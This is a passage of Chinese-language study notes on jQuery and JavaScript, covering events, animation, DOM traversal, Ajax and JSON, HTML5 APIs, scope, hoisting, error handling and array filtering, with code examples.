| .stopPropagation() | 停止事件氣泡傳遞至祖先節點 |
#### 事件處理器其他參數
```javascript=
// events 欲回應的事件名稱(如有多個事件,可用空白相隔)
// selector 可進一步篩選子孫元件
// data 傳遞額外資訊至函式中,與event物件一同傳遞
.on(events[, selector][, data], function(e));
```
##### 使用者點擊或滑過清單時,除了最後一個清單,其餘皆印出元件資訊
```javascript=
var listItem, itemStatus, eventType;
$('ul').on(
'click mouseover',
':not(#four)',
{status: 'important'},
function(e) {
listItem = 'Item: ' + e.target.textContent + '<br />';
itemStatus = 'Status: ' + e.data.status + '<br />';
eventType = 'Event: ' + e.type;
$('#notes').html(listItem + itemStatus + eventType);
}
);
```
### 特效和動畫
#### 基本特效
| 方法 | 說明 |
| -------- | -------- |
| .show() | 顯示元件 |
| .hide() | 隱藏元件 |
| .toggle() | 在顯示與隱藏間切換 |
#### 淡化特效
| 方法 | 說明 |
| -------- | -------- |
| .fadeIn() | 元件由淺至深淡入 |
| .fadeOut() | 元件由深至淺淡出 |
| .fadeTo() | 變更元件透明度 |
| .fadeToggle() | 在淡入淡出間切換 |
#### 滑行特效
| 方法 | 說明 |
| -------- | -------- |
| .slideUp() | 滑行移入 |
| .slideDown() | 滑行移出 |
| .slideToggle() | 在滑入滑出間切換 |
#### 自訂特效
| 方法 | 說明 |
| -------- | -------- |
| .delay() | 延遲佇列中後續項目的執行 |
| .stop() | 如動畫執行中,則停止 |
| .animate() | 執行自訂動畫 |
```javascript=
// speed 表示動畫展示的毫秒數,也可傳入slow和fast
// easing 允許linear(速度一致)與swing(中段快,前後慢)
// complete 動畫結束後執行 = 回呼函式(callback function)
.animate({
// 想更換的CSS
}[, speed][, easing][, complete]);
```
##### 使用者點選清單,淡出畫面並將文字內容滑行移入右方(500ms),完成後刪除元件
```javascript=
$('li').on('click', function() {
$(this).animate({
opacity: 0.0,
paddingLeft: '+=80'
}, 500, function() {
$(this).remove();
});
});
```
##### 綜合以上特效範例
```javascript=
$('h2').hide().slideDown();
var $li = $('li');
$li.hide().each(function(index) { // index為each中的計數器
$(this).delay(700 * index).fadeIn(700);
});
$li.on('click', function() {
$(this).fadeOut(700);
});
```
### 巡訪元件
#### 一般
| 方法 | 說明 |
| -------- | -------- |
| .find() | 篩選出符合選擇器條件的所有元件 |
| .closest() | 篩選出符合選擇器條件的近祖先元件 |
| .parent() | 直接父元件 |
| .parents() | 所有父元件 |
| .children() | 所有子元件 |
| .siblings() | 所有兄弟元件 |
| .next() | 下一個兄弟元件 |
| .nextAll() | 後面所有兄弟元件 |
| .prev() | 前一個兄弟元件 |
| .prevAll() | 前面所有兄弟元件 |
```javascript=
$h2.next('ul')
.fadeIn(500)
.children('.hot')
.addClass('complete');
$h2.find('a').fadeOut();
```
#### 篩選 / 測試
| 方法 | 說明 |
| -------- | -------- |
| .add() | 選取包含指定文字的元件 |
| .filter() | 尋找目前選取集合中,符合第二個選擇器條件的元件 |
| .find() | 尋找目前選取集合的子孫元件中,符合第二個選擇器條件的元件 |
| .not() / :not() | 尋找目前選取集合中,不符合第二個選擇器條件的元件 |
| .has() / :has() | 尋找目前選取集合中,其子孫元件符合第二個選擇器條件的元件 |
| :contains() | 選取包含指定文字的元件 |
| .is() | 檢查目前選取集合是否符合條件(回傳布林值) |
##### 效果相同
```javascript=
$('li').not('hot').addClass('cool');
$('li:not(.hot)').addClass('cool');
```
##### 選取所有清單,用不同篩選器篩選子集合進行操作
```javascript=
var $listItems = $('li');
$listItems.filter('.hot:last').removeClass('hot');
$('li:not(.hot)').addClass('cool');
$listItems.has('em').addClass('complete');
$listItems.each(function() {
var $this = $(this);
if ($this.is('.hot')) { //是否具備hot屬性值
$this.prepend('Priority item: ');
}
});
$('li:contains("honey")').append(' (local)'); // 將包含文字honey的元件加入 (local)這段文字在尾端
```
#### 依序巡訪元件
| 方法 | 說明 |
| -------- | -------- |
| .eq() | 符合指定索引值的文件 |
| :lt() | 索引值小於指定數值的文件 |
| :gt() | 索引值大於指定數值的文件 |
```javascript=
$('li:lt(2)').removeClass('hot');
$('li').eq(0).addClass('complete');
$('li:gt(2)').addClass('cool');
```
### 尺寸 / 位置
#### 元件尺寸
| 方法 | 說明 |
| -------- | -------- |
| .height() | 擷取或設定元件尺寸 |
| .width() | 元件框寬度(不含邊距、邊框、外邊距) |
| .innerHeight() | 元件框高度,含內邊距 |
| .innerWidth() | 元件框寬度,含內邊距 |
| .outerHeight() | 元件框高度,含內邊距和邊框 |
| .outerWidth() | 元件框寬度,含內邊距和邊框|
| .outerHeight(true) | 元件框高度,含內邊距、邊框、外邊距 |
| .outerWidth(true) | 元件框寬度,含內邊距、邊框、外邊距 |
![](https://i.imgur.com/TJRn1PR.jpg =400x)
```javascript=
var listHeight = $('#page').height();
$('ul').append('<p>Height: ' + listHeight + 'px</p>');
$('li').width('50%'); //原寬度50%
$('li#one').width(125); //125px
$('li#two').width('75%'); //原寬度75%
```
#### 視窗和頁面尺寸
| 方法 | 說明 |
| -------- | -------- |
| .height() | 元件集合的高度 |
| .width() | 元件集合的寬度 |
| .scrollLeft() | 元件集合中第一個元件,其捲軸的水平位置,或設定元件集合所有元件其捲軸的水平位置 |
| .scrollTop() | 元件集合中第一個元件,其捲軸的水平位置,或設定元件集合所有元件其捲軸的垂直位置 |
![](https://i.imgur.com/pAMUfO0.jpg =400x)
#### 元件於頁面中位置
| 方法 | 說明 |
| -------- | -------- |
| .offset() | 擷取或設定元件的座標(DOM基準) |
| .position() | 擷取或設定元件的座標(元件基準) |
![](https://i.imgur.com/syZfXAs.jpg =300x)
##### 使用者下拉頁面到500px高度時,於頁面上顯示廣告訊息框
```javascript=
var $window = $(window);
var $slideAd = $('#slideAd');
var endZone = $('#footer').offset().top - $window.height() - 500; // 頁面頂端到頁尾起始位置 減去可視高度 在減去訊息框會移入的區域高度
$window.on('scroll', function() {
if (endZone < $window.scrollTop()) {
$slideAd.animate({ 'right': '0px' }, 250);
} else {
$slideAd.stop(true).animate({ 'right': '-360px' }, 250);
}
});
```
### 其他方法
| 方法 | 說明 |
| -------- | -------- |
| .val() | 主要用於擷取\<input>、\<select>、\<textarea>元件值<br>可以取第一個元件值,也可變更所有元件值 |
| $.isNumeric | 檢查是否為數值,回傳布林值 |
### 引入jQuery
#### 方式
* 與網站檔案保存在一起
* 使用內容傳遞網路(Content Delivery Network, CDN)載入
```htmlembedded=
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
window.jQuery || document.write('<script src="js/jquery-1.10.2.js"><\/script>')
</script>
```
#### 應放置於\</body>結尾標籤前
* 程式碼載入不阻礙其他頁面的載入
* DOM在程式腳本執行前均已載入完成
### 其他 JavaScript 函式庫
> prototype.js、MooTools、YUI同樣使用$縮寫,要注意衝突(如運用jQuery.noConflict();)
#### DOM和事件
* Zepto.js
* YUI
* Dojo.js
* MooTools.js
#### 繪畫和圖表
* jQuery UI
* jQuery Mobile
* Twitter Bootstrap
* YUI
#### 網頁應用程式
* Chart.js
* D3.js
* Processing.js
* Raphael.js
#### 使用者介面
* Mustache.js
* Handlebars.js
* jQuery Mobile
#### 模型模板
* Angular.js
* Backbone
* Ember.js
#### 相容性
* Modernizr.js
* YepNode.js
* Require.js
### jQuery範例
#### 建立一個使用者可以自行新增移除項目的清單
:::spoiler
```htmlembedded=
<div id="page">
<h1 id="header">List</h1>
<h2>Buy groceries <span id="counter"></span></h2>
<ul>
<li id="one" class="hot"><em>fresh</em> figs</li>
<li id="two" class="hot">pine nuts</li>
<li id="three" class="hot">honey</li>
<li id="four">balsamic vinegar</li>
</ul>
<div id="newItemButton"><button href="#" id="showForm">new item</button></div>
<form id="newItemForm">
<input type="text" id="itemDescription" placeholder="Add description" />
<input type="submit" id="add" value="add" />
</form>
</div>
```
```javascript=
$(function() {
var $list, $newItemForm, $newItemButton;
var item = '';
$list = $('ul');
$newItemForm = $('#newItemForm');
$newItemButton = $('#newItemButton');
$('li').hide().each(function(index) {
$(this).delay(450 * index).fadeIn(1600);
});
function updateCount() {
var items = $('li[class!=complete]').length;
$('#counter').text(items);
}
updateCount();
$newItemButton.show();
$newItemForm.hide();
$('#showForm').on('click', function() {
$newItemButton.hide();
$newItemForm.show();
});
$newItemForm.on('submit', function(e) {
e.preventDefault();
var text = $('input:text').val();
$list.append('<li>' + text + '</li>');
$('input:text').val('');
updateCount();
});
$list.on('click', 'li', function() {
var $this = $(this);
var complete = $this.hasClass('complete');
if (complete === true) {
$this.animate({
opacity: 0.0,
paddingLeft: '+=180'
}, 500, 'swing', function() {
$this.remove();
});
} else {
item = $this.text();
$this.remove();
$list
.append('<li class=\"complete\">' + item + '</li>')
.hide().fadeIn(300);
updateCount();
}
});
});
```
:::
## Ajax、JSON
* Ajax是一個可載入資料至部份頁面區段中,而不需要重新整理整個頁面的技巧。
* 為非同步處理模型(asynchronous processing model)
* 可回傳HTML、XML、JSON
### XMLHttpRequest物件
#### 資料請求
```javascript=
var xhr = new XMLHttpRequest();
xhr.open('GET', 'data/test.json', true); // HTTP方法, 需處理資料需求的URL, 資料傳輸模式
xhr.send('search=arduino'); // 額外資訊傳遞給伺服器,若無可填寫null(非必填)
```
#### 資料回應
> IE9+
```javascript=
var xhr = new XMLHttpRequest();
xhr.onload = function(){
if (xhr.status === 200) {
// 處理伺服器端回傳資料的程式碼
}
}
```
### JSON:javaScript 物件標示法
* JSON資料不是物件,是JSON格式(單純文字)
```json=
{
"location": "San Francisco, CA",
"capacity": 270,
"booking": true
}
```
* 可轉換為JS物件
```javascript=
{
"events":[
{"location": "San Francisco, CA", "capacity": 270, "booking": true},
{"location": "San Franc", "capacity": 20, "booking": true},
{"location": "San Francis", "capacity": 70, "booking": true}
]
}
```
| 方法 | 說明 |
| -------- | -------- |
| JSON.stringify() | 可將JS物件轉換為JSON格式 |
| JSON.parse() | 可將JSON格式轉換為JS物件 |
```javascript=
var xhr = new XMLHttpRequest();
xhr.onload = function() {
responseObject = JSON.parse(xhr.responseText); // 沒宣告(?
var newContent = '';
for (var i = 0; i < responseObject.events.length; i++) {
newContent += '<div class="event">';
newContent += '<img src="' + responseObject.events[i].map + '" ';
newContent += 'alt="' + responseObject.events[i].location + '" />';
newContent += '<p><b>' + responseObject.events[i].location + '</b><br>';
newContent += responseObject.events[i].date + '</p>';
newContent += '</div>';
}
document.getElementById('content').innerHTML = newContent;
};
xhr.open('GET', 'data/data.json', true);
xhr.send(null);
```
### 跨網域資料請求
> 安全性理由,瀏覽器無法自其他網域載入Ajax回應資料,<br>如仍需使用有三種解決方案:
#### 代理(proxy)
> 在伺服器端建立資料代理程式
#### 跨來源資源共享(Cross-Origin Resource Sharing, CORS)
> 在HTTP標頭中加額外資訊,讓瀏覽器和伺服器知道他們必須互相溝通
> Chrome4 FF3.5 IE10 Safari4 Android iOS3.2
> IE8+9使用XDomainRequest物件
#### JSON With Padding, JSONP / JSON-P
> 加入\<script>元件至頁面中
##### 瀏覽器端
```htmlembedded=
<!-- 處理伺服器回傳的JSON資料 -->
<script>
function showEvents(data) {
// 處理資料和顯示資料
// 於頁面的程式敘述
}
</script>
<!-- 向遠端伺服器發送JSON資料請求 -->
<script src="http://example.org/jsonp"></script>
```
##### 伺服器端
```javascript=
showEvents({
"events":[
{"location": "San Francisco, CA", "capacity": 270, "booking": true},
{"location": "San Franc", "capacity": 20, "booking": true},
{"location": "San Francis", "capacity": 70, "booking": true}
]
});
```
### 運用JQuery
#### 資料請求
| 方法 | 說明 |
| -------- | -------- |
| .load() | 載入HTML片段內容至元件中\<br>此方法是擷取資料最簡單方法 |
| .get() | 以HTTP GET方法載入資料\<br>此方法用以向伺服器請求資料 |
| .post() | 以HTTP POST方法載入資料\<br>此方法用以發送資料,以更新伺服器端 |
| .getJSON() | 以GET請求載入JSON資料\<br>此方法用以取得JSON資料 |
| .getScript() | 以GET請求載入和執行JS資料\<br>此方法用以取得JS資料 |
| .ajax() | 可以執行任何請求\<br>上述方法實際上均以此方法為基礎進行請求 |
#### 資料回應 jqXHR物件
| 特性 | 說明 |
| -------- | -------- |
| responseText | 回傳以文字為基礎的資料 |
| responseXML | 回傳XML資料 |
| status | 狀態碼 |
| statusText | 狀態碼說明(debug用) |
| 方法 | 說明 |
| -------- | -------- |
| .done() | 當資料請求成功時執行 |
| .fail() | 當資料請求失敗時執行 |
| .always() | 不管請求失敗,均執行 |
| .abort() | 中止溝通 |
##### 將包含外幣匯率資料的JSON載入頁面
```javascript=
$('#exchangerates').append('<div id="rates"></div><div id="reload"></div>');
function loadRates() {
$.getJSON('data/rates.json')
.done( function(data){ // 當成功回傳
var d = new Date();
var hrs = d.getHours();
var mins = d.getMinutes();
var msg = '<h2>Exchange Rates</h2>';
$.each(data, function(key, val) { // 加入每個匯率資料
msg += '<div class="' + key + '">' + key + ': ' + val + '</div>';
});
msg += '<br>Last update: ' + hrs + ':' + mins + '<br>';
$('#rates').html(msg);
}).fail( function() { // 當發生錯誤
$('#rates').text('發生錯誤,無法載入匯率');
}).always( function() { // 不管成不成功
var reload = '<a id="refresh" href="#">'; // 加入重新整理按紐
reload += '<img src="img/refresh.png" alt="refresh" /></a>';
$('#reload').html(reload);
$('#refresh').on('click', function(e) {
e.preventDefault();
loadRates();
});
});
}
loadRates();
```
#### 載入HTML至頁面
```javascript=
// 首先選出希望載入HTML的容器元件
// 接著使用.load()方法時,必須指定HTML頁面的URL以進行載入
// 可以指定只載入頁面的部份內容(而非載入整個頁面)
$('#content').load('jq-ajax3.html #content');
```
##### 使用者點擊超連結替換頁面內容(同網址內)
```htmlembedded=
<header>
<h1>THE MAKER BUS</h1>
<nav>
<a href="jq-load.html" class="current">HOME</a>
<a href="jq-load2.html">ROUTE</a>
<a href="jq-load3.html">TOYS</a>
</nav>
</header>
<section id="content">
<div id="container">
<!-- 第二個頁面的內容 -->
</div>
</section>
```
```javascript=
$('nav a').on('click', function(e) {
e.preventDefault(); //停止轉往目標頁面
var url = this.href;
// 替換焦點的class
$('nav a.current').removeClass('current');
$(this).addClass('current');
$('#container').remove();
$('#content').load(url + ' #container').hide().fadeIn('slow');
});
```
#### 快捷方法
| 方法 | 說明 |
| -------- | -------- |
| $.get(url\[, data\]\[, callback\]\[, type\]) | 發送HTTP GET資料請求 |
| $.post(url\[, data\]\[, callback\]\[, type\]) | 發送HTTP POST資料請求 |
| $.getJSON(url\[, data\]\[, callback\]) | 利用GET請求載入JSON資料 |
| $.getScript(url\[, data\]\[, callback\]) | 利用GET請求載入並執行JS(如JSONP) |
#### 送出表單 .serialize()
```htmlembedded=
<form id="register" action="http://javascriptbook.com/code/c08/register.php" method="post">
<h2>Register</h2>
<label for="name">帳號</label><input type="text" id="name" name="name" />
<label for="pwd">密碼</label><input type="password" id="pwd" name="pwd" />
<label for="email">信箱</label><input type="email" id="email" name="email" />
<input type="submit" value="Join" />
</form>
```
```javascript=
$('#register').on('submit', function(e) {
e.preventDefault();
var details = $('#register').serialize(); // 表單資料序列化蒐集
$.post('register.php', details, function(data) {
$('#register').html(data); // 顯示結果資料
});
});
```
#### 精細調校控制設定以發送AJAX請求
| 設定 | 說明 |
| -------- | -------- |
| type | 允許設定為GET或POST值 |
| url | 處理請求的頁面URL |
| data | 發送至伺服器端的資料 |
| success | 請求成功後執行(與.done()方法類似) |
| error | 請求錯誤後執行(與.fail()方法類似) |
| beforeSend | 發送前執行(如載入圖示) |
| complete | 在成功或失敗後執行(如移除載入圖示) |
| timeout | 請求可等待的毫秒數,超過此數值視為請求失敗 |
```javascript=
$('nav a').on('click', function(e) {
e.preventDefault();
var url = this.href;
var $content = $('#content');
$('nav a.current').removeClass('current');
$(this).addClass('current');
$('#container').remove();
$.ajax({
type: "GET",
url: url,
timeout: 2000, // 等待回應時間
beforeSend: function() {
$content.append('<div id="load">載入中</div>');
},
complete: function() {
$('#load').remove();
},
success: function(data) {
$content.html( $(data).find('#container') ).hide().fadeIn(400);
},
error: function() {
$content.html('<div class="container">請稍後再試</div>');
}
});
});
```
## APIs 應用程式介面
> 應用程式介面(Application Programming interfaces, API)
### HTML5 JS APIs
| API | 說明 |
| -------- | -------- |
| geolocation | 取得使用者位置資訊 |
| localStorage | 儲存資訊於瀏覽器中(即使使用者關閉視窗) |
| sessionStorage | 儲存資訊於瀏覽器中(當視窗開啟時) |
| history | 自瀏覽器的歷史紀錄中擷取資訊 |
#### 支援度檢查 navigator
> 跨瀏覽器問題,在IE9執行geolocation物件時會出現記憶體洩漏(memory leak)
> 可用Modernizr解決
```javascript=
if (navigator.geolocation) {
// 有支援
} esle {
// 沒支援或使用者拒絕使用
}
```
#### Modernizr 程式腳本
> 要先引入
```javascript=
if (Modernizr.geolocation) {
// 有支援
} esle {
// 沒支援或使用者拒絕使用
}
```
#### YepNope 條件式載入器
* 可根據不同條件判斷結果,下載不同檔案
* 通常與Modernizr搭配使用
> 要先引入
```htmlembedded=
<label for="age">請輸入年齡</label>
<input type="number" id="age" />
```
```javascript=
yepnope({
test: Modernizr.inputtypes.number, // 檢測是否支援數值輸入框
yep: ['js/numPolyfill.js', 'css/number.css'], // 如果有支援,則執行對應工作任務
nope: ['js/numPolyfill.js', 'css/number.css'], // 如果沒有支援,則執行對應工作任務
complete : function() { // 都檢測並載入完成後執行
console.log('YepNope + Modernizr are done');
}
});
```
#### geolocation API(地理位置資訊)
##### geolocation 物件
| 方法 | 說明 |
| -------- | -------- |
| getCurrentPosition(success, fail) | 請求使用者位置資訊,若同意則回傳位置資訊 |
##### Position 物件
| 特性 | 說明 |
| -------- | -------- |
| Position.coords.latitude | 緯度,小數表示 |
| Position.coords.longitude | 經度,小數表示 |
| Position.coords.accuracy | 經緯度的精確性,以公尺為單位 |
| Position.coords.altitude | 海平面以上高度,以公尺為單位 |
| Position.coords.altitudeAccuracy | 海平面以上高度的精確性 |
| Position.coords.heading | 距離正北方的順時針角度 |
| Position.coords.speed | 行進速度,以公尺/秒為單位 |
| Position.coords.timestamp | 取得位置資訊的時間(格式化為Date物件) |
##### PositionError 物件
| 特性 | 說明 |
| -------- | -------- |
| PositionError.code | 錯誤代碼(1.拒絕存取、2.不存在、3.等待逾時) |
| PositionError.message | 錯誤訊息 |
```htmlembedded=
<script src="js/modernizr.2.7.1.js"></script>
```
```javascript=
var elMap = document.getElementById('loc');
var msg = '無法取得位置訊息';
if (Modernizr.geolocation) {
navigator.geolocation.getCurrentPosition(success, fail);
elMap.textContent = '位置載入中';
} else {
elMap.textContent = msg;
}
function success(position) {
msg = '<h3>經度:<br>';
msg += position.coords.longitude + '</h3>';
msg += '<h3>緯度:<br>';
msg += position.coords.latitude + '</h3>';
elMap.innerHTML = msg;
}
function fail(msg) {
elMap.textContent = msg;
console.log(msg.code);
}
```
#### WEB storage API(HTML5儲存)
> HTML5推出前,主要運用cookie,但不安全且不能儲存太多資料。
* localStorage
* 本機端儲存
* 在較長時間才需變更(時程表、價格表)
* 使用者可能回訪再次使用(偏好設定)
* sesssionStorage
* 連線期間儲存
* 適合經常性變更資料(是否登入、位置資訊)
* 個人性資料
| 方法 | 說明 |
| -------- | -------- |
| setItem(key, value) | 建立一組新的鍵/值配對 |
| getItem(key) | 取得指定的鍵值 |
| removeItem(key) | 移除指定的鍵/值配對 |
| clear() | 自儲存物件中清除所有資訊 |
| length | 鍵值數量 |
```javascript=
if (Modernizr.localstorage) {
var txtUsername = document.getElementById('username'); // 取得表單元件
var txtAnswer = document.getElementById('answer');
txtUsername.value = localStorage.getItem('username');
txtAnswer.value = localStorage.getItem('answer');
txtUsername.addEventListener('input', function () {
localStorage.setItem('username', txtUsername.value);
}, false);
txtAnswer.addEventListener('input', function () {
localStorage.setItem('answer', txtAnswer.value);
}, false);
}
```
```javascript=
if (Modernizr.sessionstorage) {
var txtUsername = document.getElementById('username'), // 取得表單元件
txtAnswer = document.getElementById('answer');
txtUsername.value = sessionStorage.getItem('username');
txtAnswer.value = sessionStorage.getItem('answer');
txtUsername.addEventListener('input', function () {
sessionStorage.setItem('username', txtUsername.value);
}, false);
txtAnswer.addEventListener('input', function () {
sessionStorage.setItem('answer', txtAnswer.value);
}, false);
}
```
#### history API(歷史紀錄)
| 方法 | 說明 |
| -------- | -------- |
| history.back() | 帶往歷史紀錄前一頁 |
| history.forward() | 帶往歷史紀錄後一頁 |
| history.go() | 帶往歷史紀錄指定頁面(-1前一頁,1後一頁) |
| history.pushState() | 於歷史紀錄堆疊中加入一筆紀錄項目 |
| history.replaceState() | 同pushState功能,但能變更目前history紀錄 |
| 特性 | 說明 |
| -------- | -------- |
| length | 取得history紀錄項目數量 |
| 事件 | 說明 |
| -------- | -------- |
| Window.onpopstate | 處理使用者向前頁或向後頁移動 |
```javascript=
$(function() {
function loadContent(url){
$('#content').load(url + ' #container').hide().fadeIn('slow');
}
$('nav a').on('click', function(e) {
e.preventDefault();
var href = this.href; // 需載入的頁面位址
var $this = $(this);
$('a').removeClass('current'); // 刪除目前頁面標示
$this.addClass('current'); // 新增目前頁面標示
loadContent(href); // 呼叫函式,載入頁面內容
history.pushState('', $this.text, href); // 變更記錄堆疊,更新歷史紀錄
});
window.onpopstate = function() // 當使用者按前一頁 / 後一頁按紐則會啟動
var path = location.pathname; // 取得檔案路徑(於堆疊中取得需載入位址)
loadContent(path); // 呼叫函式載入頁面
// 取得路徑,更新標示
var page = path.substring(location.pathname.lastIndexOf('/')+1);
$('a').removeClass('current');
$('[href="' + page + '"]').addClass('current');
};
});
```
### Google API
:notebook: [JavaScript - Google API](/qNVuCJTYT4G14bgwWQKzOg)
### Angular
:notebook: [AngularJS 筆記](/SNGJllpGReiwd0xsPhFxAw)
:notebook: [Angular(2+) 筆記](/alweRmSGTs2cE1cnjOaQ-w)
### Vue
:notebook: [Vue 筆記](/m6xVB__eSDCxtoyvlxP5Zw)
### React
:notebook: [React 筆記](/tweJu4TJRs6wtDxn-8TTIA)
## 錯誤處理、除錯
### 執行順序 - 工作堆疊(stack)
```javascript=
// 2
function greetUser() {
return 'Hello ' + getName();
}
// 3
function getName() {
var name = "Molly";
return name
}
// 1
var greeting = greetUser();
// 4
alert(greeting);
```
::: success
執行順序並非1 2 3 4,而是1 2 3 2 1 4
:::
1.變數greeting自greetUser()函式取得回傳值
2.greetUser()函式建立歡迎訊息
3.greetName()函式回傳姓名給greetUser()函式
2.greetUser()函式取得姓名,將字串組合回傳至步驟1
1.greeting內容值儲存於記憶體中
4.將greeting變數內容寫入提示視窗
### 執行環境(execution contexts)
* 全域執行環境(GLOBAL CONTEXT)
* 函式執行環境(FUNCTION CONTEXT)
* EVAL執行環境(EVAL CONTEXT)
#### 變數有效範圍(scope)
* 範圍
* 區域變數 - 各區域可重複命名不衝突
* 全域變數 - 佔記憶體空間較大
* 宣告
* var 變數 function
* let 變數 block
* const 唯獨變數
### [閉包(Closure)](https://blog.techbridge.cc/2018/12/08/javascript-closure/)
> 假設頁面上有五個按鈕,我想要第一個按下去時彈出 0,第二個按下去時彈出 1,以此類推,於是寫了下面的程式碼,看起來十分合理。
```javascript=
var btn = document.querySelectorAll('button')
for(var i=0; i<=4; i++) {
btn[i].addEventListener('click', function() {
alert(i)
})
}
```
> 但其實是這樣,每個按鈕按下都回傳5
```javascript=
btn[0].addEventListener('click', function() {
alert(i)
})
btn[1].addEventListener('click', function() {
alert(i)
})
...
```
> 可以改成這樣
```javascript=
function getAlert(num) {
return function() {
alert(num)
}
}
for(var i=0; i<=4; i++) {
btn[i].addEventListener('click', getAlert(i))
}
```
> 在ES6 可以直接用let解決作用域問題
```javascript=
for(let i=0; i<=4; i++) {
btn[i].addEventListener('click', function() {
alert(i)
})
}
```
### [提升(hoisting)](https://blog.techbridge.cc/2018/11/10/javascript-hoisting/)
* 變數宣告跟函式宣告都會提升
* 只有宣告會提升,賦值不會提升
* 預備
* 建立新的有效範圍
* 建立變數、函數和引數
* 決定關鍵字this的內容值
* 執行
* 可進行指定內容值給變數
* 參考函式並執行程式碼
* 執行程式敘述
```javascript=
console.log(a) // undefined
var a = 5
```
> 可以看成這樣
```javascript=
var a
console.log(a) // undefined
a = 5
```
* 別忘了函式裡面還有傳進來的參數
> 答案是10,不是undefined
```javascript=
function test(v){
console.log(v)
var v = 3
}
test(10)
```
> 可以看成這樣
```javascript=
function test(v){
var v
console.log(v)
v = 3
}
test(10)
```
> 再舉個例
> 答案是5,不是undefined
```javascript=
var v = 5
var v
console.log(v)
```
> 可以看成這樣
```javascript=
var v
var v
v = 5
console.log(v)
```
* function的宣告也會提升而且優先權比較高,因此輸出function而不是undefined
```javascript=
console.log(a) //[Function: a]
var a
function a(){}
```
### ERROR 物件
| 特性 | 說明 |
| -------- | -------- |
| name | 執行的類型 |
| message | 描述說明 |
| fileNumber | JS檔案名稱 |
| lineNumber | 錯誤發生行數 |
| 物件 | 說明 |
| -------- | -------- |
| Error | 一般泛型錯誤 |
| SyntaxError | 語法錯誤 |
| ReferenceError | 參考一個未經宣告/未在有效範圍內的變數 |
| TypeError | 一個非預期的型別,且無法被強制轉換型別 |
| RangeError | 未在可接受範圍的數值 |
| URIError | encodeURI()、decodeURI()和類似的方法未被正確使用 |
| EvalError | eval()函式未正確使用 |
### 除錯方式
* 針對錯誤訊息對症下藥
* 查看ERROR 物件
* 多運用console
* 訊息類型 .log() .info() .warn() .error()
* 訊息歸類 .gorup() .groupEnd()
* 訊息表格 .table(物件/陣列)
* 條件輸出 .assert(不顯示條件, 訊息)
* 設立程式中斷點
* IDE工具
* 瀏覽器開發人員工具
* 關鍵字 debugger
* 逐步探索
* IDE工具
* 註解/移除區段
* 例外處理
* try catch finally(類似jQ的.done() .fail() .always())
* 拋出錯誤
* throw new Error('message');
```javascript=
try {
// 無問題則執行
} catch(e) {
var errorMessage = e.name + ' ' + e.message;
console.log(errorMessage); // 回傳錯誤訊息
feed.innerHTML = '<em>oops!可能發生問題</em>'; // 顯示提示給使用者
} finally {
// 無論是否錯誤都執行
}
```
## 內容控制面板
:notebook: [JavaScript - 內容控制面板](/WyZJu_0NT-KdtqK65ebPog)
## 過濾篩選、搜尋、排序
### 陣列(其實也是物件)
| 方法 | 說明 |
| -------- | -------- |
| push() | 加入一或多個資料至陣列結束端,並回傳最新陣列資料項目數量 |
| unshift() | 加入一或多個資料至陣列起始端,並回傳最新陣列資料項目數量 |
| pop() | 移除陣列最後一個資料項目,並回傳該資料項目 |
| shift() | 移除陣列第一個資料項目,並回傳該資料項目 |
| forEach() | 巡訪,對陣列中的每個資料項目執行函式一次 |
| [some()](https://noob.tw/js-every-some/) | 巡訪,檢查項目中部分資料項目是否通過指定函式檢測 |
| [every()](https://noob.tw/js-every-some/) | 巡訪,檢查項目中全部資料項目是否通過指定函式檢測 |
| concat() | 結合,建立一個新的陣列,包含目前的陣列和其他的陣列/值 |
| filter() | 篩選,建立一個新的陣列,包含的資料項目可通過指定函式檢測 |
| sort() | 排序,搭配比較函式重新排序陣列中的資料項目順序 |
| reverse() | 排序,反轉陣列中的資料項目順序 |
| map() | 變更,對陣列中每個資料項目套用指定函式,並將結果以新的陣列儲存 |
### jQuery 元件集合
| 方法 | 說明 |
| -------- | -------- |
| .add() | 將元件加入至一元件集合中 |
| .not() | 將一元件自元件集合中刪除 |
| .each() | 將元件集合中的每一元件套用相同函式 |
| .filter() | 藉由設定jQ選擇器或函式測試,過濾元件集合中不符合條件的元件 |
| .toArray() | 將jQ元件集合轉換為DOM元件陣列,接著就可運用陣列方法操作 |
### 陣列方法過濾篩選
#### 靜態篩選
##### 方法1
```javascript=
$(function() {
var people = [
{ name: 'Casey', rate: 60 },
{ name: 'Camille', rate: 80 },
{ name: 'Gordon', rate: 75 },
{ name: 'Nigel', rate: 120 }
];
// 定義函式執行篩選
function priceRange(person) {
return (person.rate >= 65) && (person.rate <= 90);
};
// 將符合人員加入result陣列中
var results = [];
results = people.filter(priceRange);
// 巡訪新的陣列,並將符合條件的人員加到表格內容中
var $tableBody = $('<tbody></tbody>');
for (var i = 0; i < results.length; i++) {
var person = results[i]; // 保存目前這個人員
var $row = $('<tr></tr>'); // 為人員建立一筆資料列
$row.append($('<td></td>').text(person.name));
$row.append($('<td></td>').text(person.rate));
$tableBody.append( $row );
}
$('thead').after($tableBody); // 將表格內容放入表格標頭thead之後
});
```
##### 方法2
```javascript=
$(function() {
var people = [
{ name: 'Casey', rate: 60 },
{ name: 'Camille', rate: 80 },
{ name: 'Gordon', rate: 75 },
{ name: 'Nigel', rate: 120 }
];
// 將符合人員加入result陣列中
var results = [];
people.forEach(function(person) {
if (person.rate >= 65 && person.rate <= 90) {
results.push(person);
}
});
// 巡訪新的陣列,並將符合條件的人員加到表格內容中
var $tableBody = $('<tbody></tbody>');
for (var i = 0; i < results.length; i++) {
var person = results[i]; // 保存目前這個人員
var $row = $('<tr></tr>'); // 為人員建立一筆資料列
$row.append($('<td></td>').text(person.name));
$row.append($('<td></td>').text(person.rate));
$tableBody.append( $row );
}
$('thead').after($tableBody); // 將表格內容放入表格標頭thead之後
});
```
#### 動態篩選
```javascript=
$(function() {
var people = [
{ name: 'Casey', rate: 60 },
{ name: 'Camille', rate: 80 },
{ name: 'Gordon', rate: 75 },
{ name: 'Nigel', rate: 120 }
];
var rows = [],
$min = $('#value-min'),
$max = $('#value-max'),
$table = $('#rates'); // 顯示結果的表格
function makeRows() { // 建立資料列和row陣列
people.forEach(function(person) {
var $row = $('<tr></tr>');
$row.append( $('<td></td>').text(person.name) );
$row.append( $('<td></td>').text(person.rate) );
rows.push({
person: person,
$element: $row
});
});
}
function appendRows() { // 將資料加入至表格
var $tbody = $('<tbody></tbody>');
rows.forEach(function(row) {
$tbody.append(row.$element);
});
$table.append($tbody);
}
function update(min, max) { // 更新篩選條件
rows.forEach(function(row) {
if (row.person.rate >= min && row.person.rate <= max) {
